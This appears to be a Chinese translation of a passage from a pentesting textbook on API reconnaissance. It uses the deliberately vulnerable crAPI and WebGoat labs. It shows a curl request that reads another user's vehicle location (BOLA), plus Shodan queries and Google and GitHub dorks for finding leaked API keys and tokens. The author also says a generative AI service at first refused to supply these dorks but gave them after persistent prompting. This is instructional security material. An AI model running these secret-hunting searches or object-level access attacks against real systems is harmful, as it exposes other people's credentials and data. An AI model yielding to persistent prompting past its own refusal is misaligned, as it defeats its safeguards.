还需要其他辅助模块,如 flask-oauth、flask-oauthlib、jsonify、requests 和 scrapy:
$ sudo apt install python-wheel-common
$ pip install jsonify
Collecting jsonify
Downloading jsonify-0.5.tar.gz (1.0 kB)
Preparing metadata (setup.py) ... done
...Output omitted for brevity...
$ pip install flask-oauth flask-oauthlib jsonify requests scrapy
Collecting flask-oauth
Downloading Flask-OAuth-0.12.tar.gz (6.2 kB)
Preparing metadata (setup.py) ... done
...Output omitted for brevity...
Collecting flask-oauthlib
Downloading Flask_OAuthlib-0.9.6-py3-none-any.whl (40 kB)
━━━━━━━━━━━━━━ 40.2/40.2 KB 632.0 kB/s eta 0:00:00
...Output omitted for brevity...
Collecting jsonify
Downloading jsonify-0.5.tar.gz (1.0 kB)
Preparing metadata (setup.py) ... done
...Output omitted for brevity...
Collecting requests
Downloading requests-2.32.3-py3-none-any.whl (64 kB)
━━━━━━━━━━━━━━ 64.9/64.9 KB 779.9 kB/s eta 0:00:00
...Output omitted for brevity...
Collecting scrapy
Downloading Scrapy-2.11.2-py2.py3-none-any.whl (290 kB)
━━━━━━━━━━━━━━ 290.1/290.1 KB 1.5 MB/s eta 0:00:00
...Output omitted for brevity...
Now, let's clone the book's repository inside the pentesting directory:
(pentesting) $ cd pentesting
(pentesting) $ git clone https://github.com/PacktPublishing/Pentesting-APIs.git
Cloning into 'Pentesting-APIs...
remote: Enumerating objects: 1234, done.
remote: Counting objects: 100% (403/403), done.
remote: Compressing objects: 100% (71/71), done.
remote: Total 1234 (delta 346), reused 332 (delta 332), pack-reused 831
Receiving objects: 100% (1234/1234), 359.68 KiB | 359.00 KiB/s, done.
Resolving deltas: 100% (760/760), done.
你现在可以继续前进,开始探索本书的其余部分。享受阅读吧!
总结
本书的 第一部分 到此结束。我们已经介绍了将在后续章节中使用的所有工具和实用程序。这里的目的是为你提供便利,特别是当你对我们将要使用的软件不太熟悉时。
在下一章中,我们将开始 第二部分,你将学习有关渗透测试 API 的初步步骤,包括侦察活动。到时见!
进一步阅读
-
UTM 官方文档:
docs.getutm.app/ -
VMware Workstation 文档:
docs.vmware.com/VMware-Workstation-Pro/index.html -
Oracle Virtualbox 文档:
www.virtualbox.org/wiki/Documentation -
Visual Studio Code 官方文档:
code.visualstudio.com/docs -
Docker 官方文档:
docs.docker.com/ -
OWASP WebGoat 和 WebWolf:
owasp.org/www-project-webgoat/ -
OWASP crAPI:
owasp.org/crAPI/docs/challenges.html -
OWASP ZAP 文档:
www.zaproxy.org/docs/ -
Burp Suite 官方文档:
portswigger.net/burp/documentation -
Postman 官方文档:
learning.postman.com/docs/introduction/overview/ -
Wireshark 文档:
www.wireshark.org/docs/ -
Tshark 手册页面:
www.wireshark.org/docs/man-pages/tshark.html -
Python 虚拟环境:
docs.python.org/3/library/venv.html -
Anaconda 官方文档:
docs.anaconda.com/ -
Hydra 文档:
hydra.cc/docs/intro/ -
Patator 仓库:
github.com/lanjelot/patator -
Radamsa 仓库:
gitlab.com/akihe/radamsa -
Apache Bench 手册页面:
httpd.apache.org/docs/2.4/en/programs/ab.html -
Hping3 手册页面:
linux.die.net/man/8/hping3 -
Flog 仓库:
github.com/mingrammer/flog -
Filebeat 官方文档:
www.elastic.co/guide/en/beats/filebeat/current/index.html -
Ripgrep 文档:
github.com/BurntSushi/ripgrep/blob/master/GUIDE.md -
Safety 官方文档:
docs.safetycli.com/safety-2 -
Python Flask 文档:
flask.palletsprojects.com/en/3.0.x/ -
Python Scapy 文档:
scapy.readthedocs.io/en/latest/ -
Python Scrapy 文档:
docs.scrapy.org/en/latest/
第二部分: API 信息收集与身份验证/AuthN/AuthZ 测试
这一部分涵盖了你在确定目标 API 后需要做的工作:收集更多关于它的信息。你将学习发现目标信息的技巧,包括对其进行扫描,这将帮助你为攻击做好准备。你还将学习到 API 身份验证 (AuthN) 和 授权 (AuthZ) 的相关知识,它们是成功探索目标所必须了解的两个基础组件,每个组件都有其独特之处。
本节包含以下章节:
-
第三章, API 侦察与信息收集
-
第四章, 身份验证与授权测试
第三章:API 侦察与信息收集
在进攻之前了解地形是一条军事格言。著名的《孙子兵法》作者孙子写道:“你应该对周围的地形有强烈的认识。”了解目标 API 的情况与删除攻击痕迹一样重要。因此,了解再出发!
API 侦察与信息收集是收集关于 API 的信息的过程,例如其端点、方法、参数、认证机制和业务目的。这些信息可以用来识别安全漏洞、测试 API 的功能,或者开发与 API 交互的新应用程序。
在本章中,你将学习侦察与信息收集技术,这些技术将成为渗透测试规划活动的一部分。实际上,在前一章中正确设置好你的工具箱后,下一步就是收集关于目标的信息。
你将学习重要的概念,如枚举、API 文档、开源情报 (OSINT) 和 API 模式。所有这些概念基本上都与互联网上的任何现代 API 相关。我们将使用 OWASP 的 crAPI 和 WebGoat 项目作为我们的练习场。
在本章中,我们将讨论以下主要内容:
-
识别和列举 API
-
分析 API 文档和端点
-
利用开源情报(OSINT)
-
识别数据和模式结构
技术要求
理想情况下,你应该已经按照 第二章中的指导建立了你的渗透测试环境。然而,如果你还没有建立,也没关系。
你可以使用以下工具来完成本章内容:
-
需要一个像 Oracle VirtualBox 这样的虚拟机管理程序。
-
一个 Linux 虚拟机 (VM),我推荐选择 Ubuntu 或 Fedora 发行版,因为这两者有大量的实用工具。
-
Postman (
www.postman.com/downloads/)。 -
OWASP 完全荒谬的 API (crAPI) (
github.com/OWASP/crAPI/)。 -
OWASP WebGoat (
owasp.org/www-project-webgoat/)。 -
OWASP ZAP (
www.zaproxy.org/)。 -
在容器引擎方面,使用 Docker 或 Podman,后者是 Docker 的超集。
-
如果你选择使用 WebGoat 的独立版本,你将需要一个 Java 运行时环境。我建议选择 OpenJDK,Ubuntu 和 Fedora 都有其包。其他发行版也可能有。
-
你需要至少 30 GB 的磁盘空间、2 个 vCPU 和 4 GB 的内存来容纳虚拟机。推荐配置为 50 GB、4 个 vCPU 和 8 GB。
重要提示
在本书写作时,还没有适用于 Apple Silicon 芯片电脑的稳定版本的 VirtualBox。可用的测试版本无法启动 ARM 虚拟机。如果这是你的情况,建议改用 UTM(mac.getutm.app/)。有几种安装方法,包括通过 Homebrew。本章使用 Ubuntu 22.04 LTS 服务器作为 UTM 上的虚拟机。
识别和枚举 API
目标的识别和枚举可以是被动的或主动的,这不仅仅限于 API。被动侦查涉及在不直接与 API 交互的情况下收集 API 的信息。这可以通过多种方法完成,例如:
-
搜索公共文档:许多 API 提供者发布描述 API 端点、方法、参数和身份验证机制的文档。这些文档可以在提供者的网站、在线论坛或代码仓库中找到。
-
分析公共流量:如果 API 是公开可访问的,可以分析 API 的流量,以了解它是如何使用的。可以使用如 Wireshark 或 Fiddler 等工具来完成此操作。
-
搜索暴露的信息:API 提供者可能会在公共论坛或代码仓库中不小心暴露敏感信息,如 API 密钥或密码。可以使用搜索引擎或如 Shodan 等工具找到这些信息。
被动侦查是指在不与 API 直接交互的情况下获取 API 的信息。换句话说,你需要通过使用其他来源(如公共文档、分析公共流量或搜索暴露的信息)来寻找所需的信息。许多 API 提供者发布关于其 API 方法、动词和参数的文档,以及身份验证和授权的工作原理。这最终可能会揭示出控制机制的弱点,例如简单的用户名/密码组合。如果 API 是公开可访问的,你可以通过捕获其流量来分析它,借助 Wireshark 和 Fiddler 等工具。此外,敏感数据,如密钥、令牌、密码或特殊配置参数,可能在代码仓库或论坛中不小心泄露。通过使用网页搜索引擎或如 Shodan 等工具,你可以轻松找到它们。
主动枚举,另一方面,要求你与 API 进行交互。就像渗透测试中的所有主动阶段一样,请记住,你的操作可能会被 API 提供者记录。不管怎样,主动侦查通常遵循以下顺序:
- 你首先通过发现 API 的端点(即它等待的 URL)并回答请求来开始。使用蜘蛛工具,如 Sitebulb 或 Screaming Frog SEO Spider,你可以枚举所有 API 的端点:

图 3.1 – Sitebulb 的界面(图片来源:Sitebulb)
然后,你可以通过 curl 工具或像 Postman 这样的工具向它们发送请求。事实上,Postman 的一个非常有趣的功能是将你在图形界面中构建的请求转换为 curl 命令:
$ curl --location 'https://url/api' \
--header 'Authorization:<authorization token>' \
--form 'form_field_1="content of field 1"' \
--form 'upload=@"/path/file_to_upload"' \
--form 'form_field_2="content of field 2"' \
--form 'format="PDF"' \
--form 'description="Details about the File"'
-
一些 API 端点接受可以用来控制 API 行为的参数。通过探测这些参数,你可以了解更多关于它们的信息,包括哪些值是可接受的,以及它们如何影响 API 的操作。
-
你还可以选择测试 API 的认证机制。有些 API 在你发送只读请求时,即使没有事先认证,也会返回数据。然而,如果 API 需要某种类型的认证控制,你可以测试它来了解其健壮性,例如,通过构造特殊或模糊的凭证。
现在,我们将介绍一些非常适用于渗透测试的工具,包括 crAPI,你将在本书的其余部分使用它。
分析 WebGoat
让我们开始玩转我们的实验室吧。Docker 已安装,并且包含 crAPI 和 WebGoat,两者都使用 Docker 镜像。crAPI 配有一个 Docker Compose 多容器定义文件。你完全可以选择任何其他分发版和安装 WebGoat 和 WebWolf(WebGoat 的附带应用,用于测试一些功能)的方法。两者可以使用相同的 Docker 镜像安装,或者直接使用单独的 Java Archive 文件执行。Wireshark 也已安装。

图 3.2 – WebGoat 的登录页面 (http://localhost:8080/WebGoat/login)
以下截图显示了 WebWolf 的登录页面:

图 3.3 – WebWolf 的初始页面 (http://localhost:9090/home)
由于我们的目标 API 是 crAPI 和 WebGoat,因此没有 API 文档可供查询,这减少了我们的被动侦察选项。但我们仍然可以模拟一些流量捕获来理解它是如何工作的。启动 Wireshark,并在回环接口(127.0.0.1)上开始捕获。为了避免被系统生成的其他流量淹没,可以设置过滤器,仅捕获 TCP 端口 8080 上的 HTTP 包(tcp.port == 8080 and http)。通过简单加载 WebGoat 的登录页面,你会看到捕获的数据行不断出现。为了方便识别数据包的捕获时间,你可以通过点击视图 | 时间 显示格式来改变 Wireshark 显示的方式。
你需要先注册一个账户才能开始使用该工具。本书中的示例使用 pentest/pentest 作为一对凭证。注册账户并启动 Wireshark。观察捕获的一个数据包。显然,我们可以看到密码,因为 WebGoat 在通信中没有应用数字证书:

图 3.4 – Wireshark 数据包捕获的输出,显示明文密码
从该数据包中,你可以验证创建凭证的元素叫做/WebGoat/register.mvc,它是由/WebGoat/registration调用的。尝试通过curl单独调用它,看看是否有有用的信息。如果你运行curl -vslk http://localhost:8080/WebGoat/register.mvc,你将看到类似以下的内容。为了简洁起见,部分输出已被省略。

图 3.5 – WebGoat 的 register.mvc 元素抛出错误信息
curl 工具默认使用 GET HTTP 动词。我们刚刚发现,这个元素不支持 GET 动词,它只是抛出了一个非常有信息量的错误信息,提示(例如)应用程序使用了 Spring 框架。甚至还提供了其中一个受影响的源代码文件及其行号:RequestMappingInfoHandler.java,第253行!你也可以通过浏览器获取这些信息,但熟悉使用 curl 非常重要。虽然这是一个不错的开始,但 WebGoat 并不是一个特别适合我们深入了解 API 内部的工具。crAPI 是更好的选择。
查看 crAPI
crAPI 是一个有意设计为易受攻击的应用程序,提供 RESTful API,旨在帮助探索 OWASP 的 API 安全十大威胁(owasp.org/API-Security/)。在编写本书的同时,恰逢 API 安全十大项目的最新发布。另一个像 crAPI 的工具是 Juice Shop(owasp.org/www-project-juice-shop/),它是用 JavaScript 编写的。
当你完成运行 crAPI 的 Docker Compose 文件后,可以通过访问http://localhost:8888/来打开应用程序。你将被重定向到/login路径。这并不一定意味着你正在处理一个 RESTful API。被重定向到另一个路径仅仅意味着应用程序识别到你尚未认证,或者在你尝试打开一个过时的组件时,将你重定向到正确的页面。命令如下:
$ docker compose -f docker-compose.yml --compatibility up -d
向后兼容标志已在新版 Docker Compose 中实现。对先前版本的支持已于 2023 年 6 月结束。更多信息请参考docs.docker.com/compose/compose-file/compose-versioning/。
由于它是基于容器的应用程序,你将利用无需手动下载所有组件的优势。当 Compose 完成下载镜像、创建卷和环境变量以及定义限制后,你将看到以下容器:
| 容器名称 | 容器镜像 | 用途 |
|---|---|---|
api.mypremiumdealership.com |
gateway-service | 脆弱的 API |
crapi-community |
同名 | 社区博客 |
crapi-identity |
同名 | 身份验证端点 |
crapi-web |
同名 | Web UI |
crapi-workshop |
同名 | 汽车维修车间 |
mailhog |
同名 | 邮件服务 |
mongodb |
mongo | 不言自明 |
postgresdb |
postgres | 不言自明 |
表 3.1 – crAPI 的容器和镜像及其用途
crAPI 实现了一个网站,供车辆所有者搜索、查找并请求汽车维修,同时暴露了一个 RESTful API 以便完成这些任务。我假设你已经按照前一章节的内容安装了 ZAP 或 Burp Suite。我们这里将使用 ZAP。第一个 crAPI 页面是一个登录/注册对话框:

图 3.6 – crAPI 的登录页面
你可以通过在用户名或邮箱地址字段中输入特殊字符来稍微测试一下注册页面。你甚至可以输入一个无效的电话号码(前端逻辑仅检查内容是否非空),我就这么做了,并在 ZAP 上查看结果。我将电话号码留空并尝试注册,响应如下:

图 3.7 – 无效的注册页面,揭示应用后端的详细信息
在与 Web 应用程序的首次互动中,甚至没有构造特殊请求,我们就发现它运行在 Spring 框架上,这意味着我们正在处理一个基于 Java 的后端。太酷了!现在让我们填写表单,作为车主登录。响应提供了一个持有者令牌:

图 3.8 – 有效登录操作的响应,提供相应的持有者令牌
让我们继续添加一辆虚拟车辆。我们将验证更多关于应用程序和 API 端点的信息将被揭示。当添加车辆时,你需要输入 PIN 和 VIN,这些信息会通过你注册时输入的邮箱地址发送到你的邮箱。只需打开另一个浏览器标签页并访问 http://localhost:8025 来访问 Mailhog 服务。你会在那儿找到邮件。仅仅登录并点击相应的按钮添加车辆就能揭示更多 API 端点。观察接下来的一系列图像,了解更多信息。在第一个图像中,你可以看到成功登录后的响应。

图 3.9 – 登录后 /api/v2/user 端点
以下是添加车辆后你将收到的响应类型。

图 3.10 – 点击添加车辆按钮后的 /api/v2/vehicle 端点
最后,在成功添加车辆后,你将看到如下屏幕。

图 3.11 – 随机车辆已被添加
当一辆车被添加时,应用会为其分配一个 UUID,我们可以通过检查 /api/v2/vehicle/vehicles 调用的响应来确认这一点:

图 3.12 – 添加车辆时生成的 UUID
位置数据也已提供。请注意这一点,它将非常有用。你可以稍微操作一下网页 UI,但在进入社区部分时,观察一下响应发生了什么变化。这部分类似于一个论坛,车主们可以在这里发表评论或寻求帮助。问题在于,所有车主的帖子都包含他们相应的车辆 ID!显然,除非绝对必要,否则不建议公开这些数据,而这里正是如此。那么,为什么有些好心的人会想知道其他人的车辆 ID 呢?

图 3.13 – 其他车辆 ID 在应用的社区部分被公开
/api/v2/vehicle 端点提供了一个选项,可以提供车辆的 UUID,并通过指定 location 关键字来获取车辆的经纬度。如果我们利用前面截图中的输出,尝试获取不是自己车辆的数据会怎样呢?你可以使用你喜欢的方式来实现,比如通过 ZAP、Postman,甚至通过命令行配合 curl。不过,记得先登录,因为之后所有的请求都需要授权令牌,而该令牌只有在成功认证后才能获得。在图 3.13中可以看到,我的车辆 ID 以 5b0a 结尾。我将尝试获取一辆 ID 以 8e3f 结尾的车辆的位置。使用 curl 时,命令将是(这是一个单行命令):
$ curl http://localhost:8888/identity/api/v2/vehicle/4e9e1ab1-c478-4fe7-b141-c620dcd78e3f/location --header 'Content-Type: application/json' --header 'Authorization: Bearer <put your authorization token here>'
Bingo!观察以下截图。这展示了 crAPI 提供的 API 的脆弱性。只需提供有效的令牌,我就能查看属于不同用户名的资产的详细信息!

图 3.14 – 获取另一辆车的数据
恭喜!你刚刚不小心访问了另一个用户的车辆数据,这对应于第一个 crAPI 挑战:破损的对象级别授权(BOLA)。让我们看看如何通过其他方式获取 API 信息。
分析 API 文档和端点
你还可以通过仔细分析 API 的文档及其暴露的端点来获取重要信息。即使在今天,一些 API 端点仍未使用传输层安全性(TLS),这绝不应成为一种习惯。为了保持向后兼容性,一些供应商和应用程序所有者选择保持这些不安全的连接点开放。它们有时被低性能设备使用,例如物联网(IoT)树莓派、Arduino 控制器,甚至是计算能力较弱的普通客户端。这是因为 TLS 卸载可能需要大量的处理能力,具体取决于所需的同时或后续连接数量。
除此之外,通过分析文档和端点,你还可以发现其他潜在的攻击向量,比如弱或没有身份验证和/或授权机制。为了分析 API 文档,你可以使用一些不错的工具,如 SwaggerUI(github.com/swagger-api/swagger-ui)和 ReDoc(github.com/Redocly/redoc)。尽管它们最初是为了构建遵循 OpenAPI 规范的 API 文档(www.openapis.org/)而设计的,但它们也可以用于分析书面文档。考虑到后续的文件,将<<<Put OpenAPI Link here>>>占位符替换为托管 OpenAPI 类似文档 YAML 文件的链接。你可以在 APIs Guru 的网站上找到相关网站(apis.guru/);见图 3.15和图 3.16。
<!DOCTYPE html>
<html>
<head>
<title>ReDoc</title>
<!-- needed for adaptive design -->
<meta charset="utf-8"/>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link href="https://fonts.googleapis.com/css?family=Montserrat:300,400,700|Roboto:300,400,700" rel="stylesheet">
<!--
ReDoc doesn't change outer page styles
-->
<style>
body {
margin: 0;
padding: 0;
}
</style>
</head>
<body>
<redoc spec-url='<<<Put OpenAPI Link here>>>'></redoc>
<script src="img/redoc.standalone.js"> </script>
</body>
</html>
你可以在此找到部分 Fitbit 的 API 文档:

图 3.15 – Fitbit 的 API 文档
在这里,你可以看到与外汇 API 相同的内容。这是文档屏幕的截图,显示了对请求的响应。

图 3.16 – 1Forge Finance 的 API 文档
请注意,Fitbit 的第一个条目涉及认证,使用了 OAuth2 协议。另一方面,乍一看,1Forge 的 API 根本没有提供任何认证,至少对于那些暴露的服务是这样。事实上,它确实提供了认证,但这仅在他们的网站上得到了正确提及。1Forge 还暴露了纯 HTTP 端点。利用我们刚刚提到的“暴露”,当你展开 ReDoc 右侧窗格中的一个条目时,会提供更多信息。在这种情况下,我们可以看到我们可以利用的网站来与 API 交互。
另外,要在本地查看一个虚拟的 OpenAPI 规范,你可以安装 ReDoc——或者更好的是,使用它的 Docker 版本。我加载了 Docker 版本并设置监听8085端口(默认的8080端口已被 ZAP 或其他工具占用)。这样就可以访问虚拟的 PetStore API 文档进行阅读:
$ docker run -d -p 8085:80 redocly/redoc
验证 API 文档的另一个目的,是检查其请求和响应的结构。通过分析它们需要如何构造,或如何发送回你,你可以推测出 API 的更多细节。例如,如果你没有使用代理或浏览器的检查工具,其他车辆所有者的数据泄露可能会被忽视。另一个例子是用户 ID。一些应用程序可能容易受到用户 ID 剖析攻击。如果一个 API 允许你创建用户,你可以编写一个简单的脚本,连续发出两三次请求,创建一个小型用户列表。如果 API 在响应中返回了用户 ID,并且这些 ID 是连续的,那么你就知道该 API 容易受到这种威胁。对于纯 HTTP 端点来说,情况更好,因为你可以通过伪造代理服务器在本地网络中捕获所有其他用户的数据。
回顾 HTTP RFC(参考链接),我们知道 HTTP 请求有头部和正文。Web 应用开发者在实现 API 时可以使用其中任何一个或两个部分。通过再次检查 RFC,我们可以达成共识:如果请求中发送的数据是元数据,那么头部是存放这些数据的最佳位置。如果数据不是元数据,那么应该使用正文。我为什么要告诉你这些?公共云服务提供商几乎会记录所有进出其网络的数据。然而,Web 请求的正文可能不会被完全记录,因为它们可能包含客户的敏感数据,允许未授权人员(如云服务提供商的工程师)访问这些日志会导致安全合规性失败,而没有任何提供商会愿意发生这种情况。因此,在与任何 API 交互时,要非常注意 API 的响应正文,因为它们可能包含在准备攻击时可以使用的非常宝贵的数据。
利用 OSINT
OSINT 是近年来快速增长的一个市场,并且有持续增长的趋势。根据一份公开的报告,2022 年该市场的规模为 42 亿美元,预计到 2031 年将达到 73.2 亿美元,增幅为 73.43%,年复合增长率(CAGR)约为 6.31%,为期九年。这是一个不可忽视的趋势。这个市场主要由构建软件和/或培训以探索相关研究技术的公司组成。
如果你从未听说过 OSINT,我来为你简要总结一下。OSINT 包括一系列收集和分析公开信息的技术。OSINT 可以用来通过多种方式收集关于 API 的信息。例如,你可以使用 OSINT 来做以下事情:
-
查找那些提供商未公开文档化的 API 信息。
-
识别已发布的新 API 端点。
-
发现现有 API 端点的变化。
-
查找关于 API 安全漏洞的信息。
一些常见的 OSINT 资源,用于收集关于 API 的信息,包括以下内容:
-
搜索引擎:搜索引擎可以用来查找那些提供商未公开文档化的 API 信息。
-
社交媒体:像 X(前身为 Twitter)和 GitHub 这样的社交媒体平台可以用来查找有关新 API 端点、现有 API 端点的变化以及 API 的安全漏洞信息。
-
在线论坛:像 Stack Overflow 和 Reddit 这样的在线论坛可以用来查找如何使用 API 的信息,以及排除 API 问题。
OSINT 还可以用于其他几种活动,例如监视或跟踪个人或公司,发现关于 API 端点以外的资产信息,例如服务器、应用程序、外部可用系统,定位建筑物或设施等。我知道这看起来有些可怕,但就像生活中的大多数事情一样,这项技术有好的用途,也有不那么好的用途。互联网上有相当多免费的 OSINT 内容,包括资源和工具的列表。在所有资源中,我不会忘记提到以下几个:
-
OSINT 框架 (
osintframework.com/): 这是一个在线目录,列出了按类型分类的在线资源。一些资源是免费的,其他的允许你进行测试,还有一些是商业性质的。 -
Shodan (
www.shodan.io/): 这是一个搜索服务,拥有一个庞大的 IoT 设备数据库,例如摄像头、路由器和微控制器。虽然这是一个付费服务,但在一些日期(如黑色星期五)经常能找到不错的折扣。 -
Google 黑客数据库 (
www.exploit-db.com/google-hacking-database/): 这是一个 Google dorks(特别定制的 Google 查询)合集,你可以通过筛选只显示所需类型的目标,包括 API。
图 3.17 和 图 3.18 显示了在 Shodan 上查找 API 端点时可以找到的示例。该服务可以透露该端点是否存在漏洞,以及漏洞的类型。实用吧?这些漏洞通常与支持服务器的操作系统相关,但网页服务本身也可能列出为有漏洞,这有助于你的渗透测试任务。这些截图是在登录服务后截取的。第一张显示了一个 API 端点。截图已故意匿名化。

图 3.17 – 一个可能存在漏洞的印尼大学 API 端点
第二张显示了一个开放给全世界的 Oracle 服务器端点。

图 3.18 – Shodan 上的简单 API 查询
该服务提供了很多查询供你探索。以下是一些最常用的查询:
-
hostname:targetdomain.com:将所有查询指向目标域名,如果目标使用 APEX 域名,也会返回主机名。 -
content-type:application/json(或xml):大多数 API 接受并返回 JSON 或 XML 格式的数据。结合主机名使用时,此关键词会将结果过滤为包含所需内容类型的项。 -
200 OK:这是成功的 HTTP 状态码。你可以将其与其他查询组合,返回仅包含成功请求的结果。如果目标 API 不接受 Shodan 查询,它可能会返回 300 或 400 的 HTTP 状态码。 -
wp-json:当查询目标 内容管理系统(CMSs),如 Joomla 或 Drupal 时,这种查询可能会揭示它们的存在。特别是,这与 WordPress REST API 相关。
让我们看看通过 ExploitDB 可以获得什么。如果你搜索 API 这个关键词,服务将返回相当数量的 Google dorks,其中包括 allintext、intitle 和 inurl 等查询。这些分别表示在整页内容中、仅在标题中和在 URL 名称中查找出现的结果。以下是几个值得关注的例子:
-
allintext:"API_SECRET*" ext:env | ext:yml:查找以API_SECRET开头的字符串,文件扩展名为.env或.yml。这非常有用,因为许多应用程序的配置文件会将敏感数据(如 API 密钥)存储在这些扩展名的文件中。一个不小心的开发者可能会将其推送到公共代码库。你还可以了解到实现的 API 版本,旧版本可能存在漏洞。 -
intitle:"Index of /api/":你会找到列出其/api网页目录中所有文件的网站。在这里你可以找到非常有用的信息,甚至是一些你未曾想过会披露此类信息的网站。 -
inurl:execute-api site:amazonaws.com:列出所有 URL 中包含execute-api的站点。此类站点由 Amazon API Gateway 实现,这是一个公共云服务,在实际 Web 后台之前暴露一层。
我们并不局限于 Google 搜索引擎。如今,我们有了在线生成式 AI 服务,也能帮助我们进行 OSINT。一旦你构建了好的提示,也就是好的问题,你几乎可以获得所有想要的信息。这些服务随着时间的推移不断优化,并加入了额外的保护措施,以防止公司和个人的无意数据暴露或泄露。然而,我不能保证所有数据都会得到完全保护。
GitHub 也有它的 dorks。专注于特定的文件名,你可以找到关于你正在检查的 API 的相关信息。以下是我通过向某个生成式 AI 服务询问后得到的一些 dorks,按类别组织。你可以随意混合和匹配它们。该服务最初不愿意给我这些,但正如我之前所说,通过正确的提示和一些耐心,你一定能够得到:
-
基于路径的 dorks:
path:/config/ path:/secrets/ path:/keys/ path:/private/ path:/deploy/ -
基于语言的 dorks:
language:json language:yaml language:python language:javascript language:ruby -
基于扩展名的 dorks:
extension:yml extension:json extension:xml extension:cfg extension:config -
基于用户或组织的 dorks:
user:username org:organization -
基于大小的 dorks:
size:>1000 (Files larger than 1 KB) size:<500 (Files smaller than 500 bytes) -
Fork 和 stars dorks:
fork:true stars:>100 -
基于日期范围的 dorks:
created:2022-01-01..2022-12-31 pushed:2022-01-01..2022-12-31 updated:2022-01-01..2022-12-31 -
基于许可证的 dorks:
license:mit license:apache-2.0 -
基于文本内容的 dorks:
in:file (Search within file content) in:readme (Search within README files) in:description (Search within repository descriptions) -
通配符 dorks:
*api* (Matches any repository with "api" in its name) user:*api* (Matches repository with "api" in the username -
一些可以揭示 API 敏感数据存在的好关键词包括:
"api key", "api keys", "apikey", "access_token", "authorization: Bearer", "secret", "token"
接下来,我们将通过学习 API 的数据和架构结构,了解 API 的内部细节。
识别数据和架构结构
我们将结束关于 API 侦察和枚举的章节,讲解一个和其他所有内容一样重要的话题。通过成功识别 API 的数据和架构结构,你可以获得更多关于目标的信息。一旦你分析了 API 文档和端点,你需要识别 API 使用的数据和架构结构。这些信息可以帮助你理解 API 如何工作,并开发与 API 交互的应用程序。
API 文档应提供关于 API 使用的数据和架构结构的信息。然而,你可能需要分析 API 的响应,才能完整理解数据和架构结构。
一些 API 返回 JSON 结构,而其他的则倾向于在发送响应给请求者之前,将响应编码为 XML。事实上,XML 曾经是多年内首选的数据传输格式,因为它具有灵活性和强大功能。然而,这些优势也带来了缺点。XML 结构越复杂,越容易受到攻击。写得不好的 XML 解析器可能导致应用程序意外崩溃,甚至更糟,导致数据暴露或泄漏。
但是首先,什么是架构?就像数据库中的架构一样,API 架构是用于定义 API 内数据结构的元数据。换句话说,当请求和接收这些请求的响应时,你可以提前知道期望哪些组件,以及它们使用的数据类型。这对于某些操作特别重要:模糊测试。
到目前为止我们还没有讨论过这个问题,但从一般意义上来说,模糊测试(fuzzing)是通过生成随机字符序列作为输入,进行不同的系统交互。在我们的例子中,系统是一个 API 端点。在了解其架构和数据结构后,你可以通过发送例如符号到期望日期的字段,或者字母到承载数量的字段来测试 API。或者,你可以参考一个不属于数据结构的结构,比如列表或数组,然后检查端点的行为。当应用程序写得很好时,抗模糊测试的应用会简单地忽略这些数据,并可选择性地抛出警告或错误信息,说明提供了一个损坏的输入。
让我们做些练习。利用我们的 crAPI 部署和 Postman,发送几个请求并验证其响应。crAPI 期望输入为 JSON,并返回一个 JSON 结构的响应。crAPI 已经在其仓库中提供了一个方便的 Postman 请求集合。让我们看看当我们发送与 JSON 不同的内容时会发生什么。首先,我们需要登录以获取授权令牌。这是我们的初步测试。让我们把 JSON 部分换成,比如说,XML 格式:
<?xml version="1.0" encoding="UTF-8"?>
<email>{{email}}</email>
<password>{{password}}</password>
{{email}} 和 {{password}} 注释是 Postman 用来表示变量的约定。我在我的 Postman 集合中创建了变量来存储我的登录名和密码,这样每次需要登录时就不必重新输入。我对授权令牌做了同样的处理。那么,在这个初步测试中,crAPI 根本没有返回任何内容。让我们继续进行,并以正确的方式登录,输入一个 JSON 数据结构。我们刚刚收到了令牌。
还有另一个端点是通过 POST 方法访问的。它叫做 Signup example.com。它期望请求体包含以下内容:
{
"name": "{{name}}",
"email": "{{email}}",
"number": "{{phone}}",
"password": "{{password}}"
}
当你发送期望的格式,比如电子邮件地址和作为电话号码的数字序列时,API 会做出如下响应:
{
"message": "User registered successfully! Please Login.",
"status": 200
}
然而,如果我们发送一些稍微不同的内容,比如这样:
{
"name": "{{name}}",
"email": "304laskdf))(&)&)*",
"number": "asdf98asd09fans2#$%@#$%",
"password": "{{password}}"
}
看起来 crAPI 确实在某种程度上验证了输入,但不是以一种很好的方式:
{
"message": "Validation Failed",
"details":
"org.springframework.validation.BeanPropertyBindingResult: 2 errors\nField error in object 'signUpForm' on field 'number': rejected value [asdf98asd09fans2#$%@#$%]; codes [Size.signUpForm.number,Size.number,Size.java.lang.String,Size]; arguments [org.springframework.context.support.DefaultMessageSourceResolvable: codes [signUpForm.number,number]; arguments []; default message [number],15,0]; default message [size must be between 0 and 15]\nField error in object 'signUpForm' on field 'email': rejected value [304laskdf))(&)&)*]; codes [Email.signUpForm.email,Email.email,Email.java.lang.String,Email]; arguments [org.springframework.context.support.DefaultMessageSourceResolvable: codes [signUpForm.email,email]; arguments []; default message [email],[Ljavax.validation.constraints.Pattern$Flag;@5319e7,.*]; default message [must be a well-formed email address]"
}
通过这个简单的测试,我们发现了几件事:
-
crAPI 肯定使用了一些 Java 的变种作为其后端。
-
邮箱和电话在某种程度上是经过验证的,但错误看起来像是异常。
-
电话号码的最大长度为 15 个字符。
当你验证身份容器的日志时,你会发现以下异常:
2023-12-28 18:34:17.934 DEBUG 8 --- [nio-8080-exec-9] o.s.web.method.HandlerMethod : Could not resolve parameter [0] in public org.springframework.http.ResponseEntity<com.crapi.model.CRAPIResponse> com.crapi.controller.AuthController.registerUser(com.crapi.model.SignUpForm): JSON parse error: Illegal unquoted character ((CTRL-CHAR, code 10)): has to be escaped using backslash to be included in string value; nested exception is com.fasterxml.jackson.databind.JsonMappingException: Illegal unquoted character ((CTRL-CHAR, code 10)): has to be escaped using backslash to be included in string value
at [Source: (PushbackInputStream); line: 1, column: 205] (through reference chain: com.crapi.model.SignUpForm["email"])
2023-12-28 18:34:17.934 DEBUG 8 --- [nio-8080-exec-9] .m.m.a.ExceptionHandlerExceptionResolver : Using @ExceptionHandler com.crapi.exception.ExceptionHandler#handleException(Exception, WebRequest)
2023-12-28 18:34:17.935 DEBUG 8 --- [nio-8080-exec-9] o.s.w.s.m.m.a.HttpEntityMethodProcessor : Using 'application/octet-stream', given [*/*] and supported [*/*]
